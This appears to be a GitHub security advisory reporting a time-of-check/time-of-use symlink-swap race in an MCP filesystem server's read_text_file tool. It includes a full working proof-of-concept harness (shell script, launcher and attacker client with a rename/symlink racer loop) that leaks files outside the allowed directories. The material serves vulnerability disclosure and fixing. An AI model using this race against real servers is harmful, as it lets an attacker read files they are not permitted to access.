Skip to content

Symlink swap after validation lets read_text_file return files outside allowedDirectories

This report was submitted with AI assistance

Moderate
cliffhall published GHSA-p9cv-8g75-4xcg Nov 11, 2026

Package

npm @modelcontextprotocol/server-filesystem (npm)

Affected versions

< 2.3.0
>= 2025.1.14, <= 2026.8.31

Patched versions

2.3.0

Description

Summary

In @modelcontextprotocol/server-filesystem 2.1.0, read_text_file validates the requested path and then opens it again by name. A local process that can rename a directory inside an allowed directory can swap that directory for a symlink between the check and the open. When the swap wins, the server returns the contents of a file outside allowedDirectories. In a two-user Linux test, an attacker user who gets EACCES reading the target file directly received its unknown random contents through the server.

Details

Affected version

  • npm @modelcontextprotocol/[email protected] (current latest, published 2026-10-28). Tarball SHA-256 65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df.
  • Source: commit 194cc86e3ae6400958555bd4116849d822d69263 (monorepo tag v2.2.0; src/filesystem/package.json is 2.1.0).
  • Tested on Linux (node:24-alpine container) and macOS (Node 26.10.0) against the published stdio server.

Root cause

  • read_text_file calls validatePath(args.path, allowedDirectories) and then readFileContent(validPath) (src/filesystem/server.ts:257-274; dist/server.js:190-203).
  • validatePath resolves realpath at that moment and returns a path string (src/filesystem/lib.ts:508-518; dist/lib.js:330-337).
  • readFileContent calls fs.readFile(filePath) (src/filesystem/lib.ts:556-560; dist/lib.js:371-372), which resolves every path component again. A directory symlink introduced after validation is followed.

The 2.0.1 fix for GHSA-53mr-w429-c597 anchors writes to the validated directory: write_file, edit_file, create_directory and move_file go through pinned-directory.ts (createFileInDirectory, overwriteFileInDirectory, renameIntoDirectory, ...). The read path was not given that anchor, so the same check-then-use gap remains on reads. The head/tail variants of the same tool (headFile, tailFile) also open by path name.

Preconditions

  • The attacker can rename or replace a directory inside an allowed directory while the server runs (the same precondition as GHSA-53mr-w429-c597).
  • The attacker controls the MCP client or can induce repeated read_text_file calls naming a path under that directory.
  • The target file is readable by the server's user and its name is known.

Proof of concept

Reproduction (two OS users, Linux container)

The harness runs the published server as UID 1001 and the MCP client plus a racer as UID 1002. A root launcher creates:

  • allowed/ (owned by the attacker), passed to the server as its only allowed directory, containing allowed/flip/marker.txt with a benign value;
  • outside/ (owned by the server user, mode 0700) containing outside/marker.txt (mode 0600) with a fresh random 24-byte secret.

The launcher only creates the fixture and pipes MCP stdio bytes between the two processes. The attacker client is never given the secret; it only knows the CANARY_OUTSIDE_ prefix. The client:

  1. confirms a direct read of outside/marker.txt fails with EACCES;
  2. checks controls through the server: the direct outside path is denied, a static symlink allowed/flip -> outside is denied, and the inside path returns the benign value;
  3. starts a racer that repeatedly swaps allowed/flip between the real directory and a symlink to outside/, while sending read_text_file for allowed/flip/marker.txt in batches of 100.

After the client exits, the launcher compares the SHA-256 of the secret it wrote with the SHA-256 of the content the client received.

Save the three files below in one directory and run sh run.sh (needs Docker).

run.sh

#!/bin/sh
# Runs the two-user reproduction against the published package in a disposable container.
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
NAME="mcp-fs-read-race-$$"
trap 'docker stop -t 1 "$NAME" >/dev/null 2>&1 || true' EXIT
docker run -d --rm --name "$NAME" node:24-alpine sleep 600 >/dev/null
docker exec "$NAME" sh -c 'mkdir -p /labpkg /labharness && cd /labpkg && npm install --no-audit --no-fund @modelcontextprotocol/[email protected] >/dev/null'
docker cp "$HERE/launcher.mjs" "$NAME:/labharness/launcher.mjs"
docker cp "$HERE/client.mjs" "$NAME:/labharness/client.mjs"
docker exec "$NAME" chmod -R a+rX /labpkg /labharness
SERVER=/labpkg/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js
printf '=== No-racer control ===\n'
docker exec -e NO_RACER=1 -e MAX_CALLS=500 "$NAME" node /labharness/launcher.mjs "$SERVER"
printf '=== Two-user race ===\n'
docker exec -e NO_RACER=0 -e MAX_CALLS=20000 "$NAME" node /labharness/launcher.mjs "$SERVER"

launcher.mjs

import fs from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import { spawn } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import { createHash, randomBytes } from 'node:crypto';

// Run as root only inside a disposable local container. The server is UID 1001;
// the MCP client and racer are UID 1002. All data is created under /tmp.
const victimUid = 1001;
const attackerUid = 1002;
const here = path.dirname(fileURLToPath(import.meta.url));
const root = await fs.mkdtemp(path.join(os.tmpdir(), 'mcp-two-uid-'));
const allowed = path.join(root, 'allowed');
const outside = path.join(root, 'outside');
const flip = path.join(allowed, 'flip');
const secret = 'CANARY_OUTSIDE_' + randomBytes(24).toString('hex');
await fs.mkdir(flip, { recursive: true });
await fs.mkdir(outside);
await fs.writeFile(path.join(flip, 'marker.txt'), 'BENIGN_INSIDE_TWO_UID');
await fs.writeFile(path.join(outside, 'marker.txt'), secret, { mode: 0o600 });
await fs.chmod(root, 0o755);
await fs.chown(allowed, attackerUid, attackerUid);
await fs.chmod(allowed, 0o755);
await fs.chown(flip, attackerUid, attackerUid);
await fs.chmod(flip, 0o755);
await fs.chown(path.join(flip, 'marker.txt'), attackerUid, attackerUid);
await fs.chown(outside, victimUid, victimUid);
await fs.chmod(outside, 0o700);
await fs.chown(path.join(outside, 'marker.txt'), victimUid, victimUid);
await fs.chmod(path.join(outside, 'marker.txt'), 0o600);

const pkg = process.argv[2];
if (!pkg) throw new Error('pass absolute path to published dist/index.js');
const server = spawn(process.execPath, [pkg, allowed], {
  uid: victimUid,
  gid: victimUid,
  stdio: ['pipe', 'pipe', 'pipe'],
});
const client = spawn(process.execPath, [path.join(here, 'client.mjs'), allowed, outside], {
  uid: attackerUid,
  gid: attackerUid,
  stdio: ['pipe', 'pipe', 'pipe'],
  env: { ...process.env, MAX_CALLS: process.env.MAX_CALLS ?? '20000', NO_RACER: process.env.NO_RACER ?? '0' },
});
client.stdout.pipe(server.stdin);
server.stdout.pipe(client.stdin);
server.stderr.on('data', c => process.stderr.write('[server] ' + c));
let clientLog = '';
client.stderr.on('data', c => {
  clientLog += c.toString();
  process.stderr.write('[attacker-client] ' + c);
});
const code = await new Promise(resolve => client.on('exit', resolve));
server.kill('SIGTERM');
const raceLine = clientLog.split('\n').find(line => line.startsWith('{"race":'));
let reported;
try { reported = JSON.parse(raceLine); } catch { reported = null; }
const captured = reported?.race?.first?.result?.content?.[0]?.text;
const digest = value => value === undefined ? null : createHash('sha256').update(value).digest('hex');
const noRacer = process.env.NO_RACER === '1';
const match = captured === secret;
console.log(JSON.stringify({
  root, serverUid: victimUid, attackerUid, clientExit: code,
  secretSha256: digest(secret), capturedSha256: digest(captured),
  match, expectedMatch: !noRacer,
}));
process.exitCode = (code === 0 && match === !noRacer) ? 0 : 1;

client.mjs

import fs from 'node:fs/promises';
import path from 'node:path';
import { spawn } from 'node:child_process';

const [allowed, outside] = process.argv.slice(2);
const flip = path.join(allowed, 'flip');
const stash = path.join(allowed, 'stash');
const target = path.join(flip, 'marker.txt');
const forbidden = path.join(outside, 'marker.txt');
// The random suffix is generated only by the launcher and never passed here.
const secretPrefix = 'CANARY_OUTSIDE_';
const benign = 'BENIGN_INSIDE_TWO_UID';

if (process.argv[2] === '--racer') {
  const [f, s, o] = process.argv.slice(3);
  for (;;) {
    try {
      await fs.rename(f, s);
      await fs.symlink(o, f);
      await fs.unlink(f);
      await fs.rename(s, f);
    } catch {
      try { await fs.unlink(f); } catch {}
      try { await fs.rename(s, f); } catch {}
    }
  }
}

let directRead;
try {
  directRead = await fs.readFile(forbidden, 'utf8');
} catch (e) {
  directRead = `ERROR:${e.code}`;
}
if (directRead !== 'ERROR:EACCES') throw new Error(`attacker directly read outside file: ${directRead}`);
process.stderr.write(JSON.stringify({ attackerUid: process.getuid(), directRead }) + '\n');

let buffer = '';
let id = 1;
const pending = new Map();
process.stdin.on('data', chunk => {
  buffer += chunk.toString();
  for (;;) {
    const cut = buffer.indexOf('\n');
    if (cut < 0) break;
    const line = buffer.slice(0, cut); buffer = buffer.slice(cut + 1);
    if (!line.trim()) continue;
    let msg;
    try { msg = JSON.parse(line); } catch { continue; }
    if (!('id' in msg)) continue;
    const callback = pending.get(msg.id);
    if (callback) { pending.delete(msg.id); callback(msg); }
  }
});
function send(method, params) {
  const requestId = id++;
  return new Promise((resolve, reject) => {
    const timer = setTimeout(() => reject(new Error(`MCP timeout ${requestId}`)), 30000);
    pending.set(requestId, msg => { clearTimeout(timer); resolve(msg); });
    process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: requestId, method, params }) + '\n');
  });
}
function result(m) { return JSON.stringify(m.result?.content ?? m.error ?? m); }
const init = await send('initialize', {
  protocolVersion: '2025-11-25',
  capabilities: {},
  clientInfo: { name: 'two-uid-owned-lab', version: '1.0.0' },
});
if (init.error) throw new Error(JSON.stringify(init.error));
process.stdout.write(JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }) + '\n');
const read = p => send('tools/call', { name: 'read_text_file', arguments: { path: p } });
const direct = result(await read(forbidden));
const inside = result(await read(target));
await fs.rename(flip, stash);
await fs.symlink(outside, flip);
const staticLink = result(await read(target));
await fs.unlink(flip);
await fs.rename(stash, flip);
if (direct.includes(secretPrefix) || !direct.includes('Access denied') ||
    !inside.includes(benign) || staticLink.includes(secretPrefix) || !staticLink.includes('Access denied')) {
  throw new Error(`control failed: ${JSON.stringify({ direct, inside, staticLink })}`);
}
process.stderr.write(JSON.stringify({ controls: 'PASS', version: init.result?.serverInfo?.version }) + '\n');

let racer;
if (process.env.NO_RACER !== '1') {
  racer = spawn(process.execPath, [new URL(import.meta.url).pathname, '--racer', flip, stash, outside], {
    stdio: ['ignore', 'ignore', 'pipe'],
  });
}
const maxCalls = Number(process.env.MAX_CALLS ?? 20000);
let total = 0, leaks = 0, benignReads = 0, denials = 0, other = 0, first = null;
try {
  while (total < maxCalls && leaks === 0) {
    const batch = Math.min(100, maxCalls - total);
    const messages = await Promise.all(Array.from({ length: batch }, () => read(target)));
    total += batch;
    for (const message of messages) {
      const text = result(message);
      if (text.includes(secretPrefix)) { leaks++; first ??= message; }
      else if (text.includes(benign)) benignReads++;
      else if (text.includes('Access denied') || text.includes('ENOENT')) denials++;
      else other++;
    }
  }
} finally {
  racer?.kill('SIGTERM');
}
process.stderr.write(JSON.stringify({ race: { noRacer: process.env.NO_RACER === '1', total, leaks, benignReads, denials, other, first } }) + '\n');
if (process.env.NO_RACER === '1' && leaks !== 0) process.exitCode = 1;
if (process.env.NO_RACER !== '1' && leaks === 0) process.exitCode = 2;
process.exit(process.exitCode ?? 0);

Results

Output of run.sh above (2026-10-30, macOS host, node:24-alpine container, package installed from npm):

=== No-racer control ===
[attacker-client] {"attackerUid":1002,"directRead":"ERROR:EACCES"}
[attacker-client] {"controls":"PASS","version":"2.1.0"}
[attacker-client] {"race":{"noRacer":true,"total":500,"leaks":0, ...}}
=== Two-user race ===
[attacker-client] {"attackerUid":1002,"directRead":"ERROR:EACCES"}
[attacker-client] {"controls":"PASS","version":"2.1.0"}
[attacker-client] {"race":{"noRacer":false,"total":200,"leaks":13, ... "text":"CANARY_OUTSIDE_64a6e0d58b6131d90540f56ea4203a68be70e6f39680a0b8" ... "id":105}}
{"serverUid":1001,"attackerUid":1002,"secretSha256":"bbf3e06d760cc0b7f74d2df8aa995e9d1e21784f57ec7d0b245dd90eba7ea03f","capturedSha256":"bbf3e06d760cc0b7f74d2df8aa995e9d1e21784f57ec7d0b245dd90eba7ea03f","match":true}
Run Calls Outside content returned No-racer control
Two users, unknown random secret (run.sh above) 200 13 0 of 500
Two users, unknown random secret (earlier run) 200 3 0 of 500
Two users, fixed canary 200 10 0 of 500
Two users, fixed canary (repeat) 200 25 0 of 500
Same user, macOS 1,300 23 0 of 900
Same user, macOS (repeat) 1,100 8 0 of 200

In every run, the direct outside path and a static outside symlink were refused. Leaks appeared only while the racer was running.

The README's note that allowed-directory checks are path-based (the hard-link caveat) does not cover this: in the two-user fixture the attacker cannot traverse the 0700 outside/ directory, so it cannot create a link to the file. The server returns the file only by following the swapped directory.

Impact

The server returns file contents from outside its configured allowed directories to the MCP client, breaking the boundary the README states ("filesystem operations are restricted to allowed directories"). Where the server runs as a user that can read files that the people able to write the allowed tree cannot, this also crosses an OS-user boundary, as demonstrated above. The attack is a race and needs repeated calls; a single call is not reliable.

Suggested CVSS 3.1: AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N (4.4).

Suggested fix

Bind the check to the file actually read: open the final component relative to the pinned, validated parent directory (as pinned-directory.ts already does for writes) with O_NOFOLLOW, confirm the descriptor is the expected regular file, and read through that descriptor. Apply the same to headFile, tailFile and the other read handlers that open by path. A second path-based realpath check would leave another window.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. Learn more on MITRE.

Credits